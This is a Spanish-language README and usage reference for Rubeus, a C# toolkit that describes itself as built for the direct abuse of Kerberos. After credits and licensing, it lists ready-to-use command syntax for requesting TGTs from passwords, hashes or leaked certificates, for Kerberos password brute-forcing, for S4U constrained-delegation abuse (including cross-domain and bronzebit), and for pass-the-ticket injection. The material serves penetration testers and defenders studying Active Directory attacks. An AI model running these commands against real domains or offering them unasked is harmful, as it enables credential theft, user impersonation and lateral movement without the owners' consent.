
Conjunto de herramientas en C# para la interacción y el abuso directo de Kerberos: solicitudes TGT/TGS, abuso de delegación S4U, Kerberoasting, AS-REP roasting y recolección de tickets.
Rubeus es un conjunto de herramientas en C# para la interacción y el abuso directo de Kerberos. Está fuertemente adaptado del proyecto Kekeo de Benjamin Delpy (licencia CC BY-NC-SA 4.0) y del proyecto MakeMeEnterpriseAdmin de Vincent LE TOUX (licencia GPL v3.0). Todo el crédito es para Benjamin y Vincent por haber resuelto los componentes difíciles de la weaponización; sin su trabajo previo este proyecto no existiría.
TCharlie Clark y Ceri Coburn han realizado contribuciones significativas al código base de Rubeus. Elad Shamir aportó parte del trabajo esencial para la delegación restringida basada en recursos. ¡Su trabajo es muy apreciado!
Rubeus también utiliza una biblioteca de análisis/codificación ASN.1 en C# de Thomas Pornin llamada DDer, publicada con una licencia "similar a MIT". ¡Muchas gracias a Thomas por su código limpio y estable!
El código de PKINIT está fuertemente adaptado de la herramienta Bruce de @SteveSyfuhs. Bruce hizo que RFC4556 (PKINIT) fuera mucho más fácil de entender. ¡Muchas gracias a Steve!
El método KerberosRequestorSecurityToken.GetRequest para Kerberoasting fue aportado a PowerView (y luego incorporado a Rubeus) por @machosec.
@harmj0y es el autor principal de este código base.
Rubeus está licenciado bajo la licencia BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Solicitudes y renovaciones de tickets:
Recuperar un TGT basado en la contraseña/hash de un usuario, opcionalmente guardándolo en un archivo o aplicándolo a la sesión de inicio de sesión actual o a un LUID específico:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
Recuperar un TGT basado en la contraseña/hash de un usuario, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
Recuperar un TGT usando un certificado PCKS12, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Recuperar un TGT usando un certificado del almacén de claves del usuario (Smartcard) especificando la huella digital o el sujeto del certificado, iniciar un proceso /netonly y aplicar el ticket al nuevo proceso/sesión de inicio de sesión:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
Recuperar un ticket de servicio para uno o más SPN, opcionalmente guardando o aplicando el ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
Renovar un TGT, opcionalmente aplicando el ticket, guardándolo o renovándolo automáticamente hasta su límite de renovación:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
Realizar un ataque de fuerza bruta de contraseñas basado en Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Abuso de delegación restringida:
Realizar abuso de delegación restringida S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
Realizar abuso de delegación restringida S4U entre dominios:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
Gestión de tickets:
Enviar un TGT, opcionalmente dirigido a un LUID específico (si se tiene elevación):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]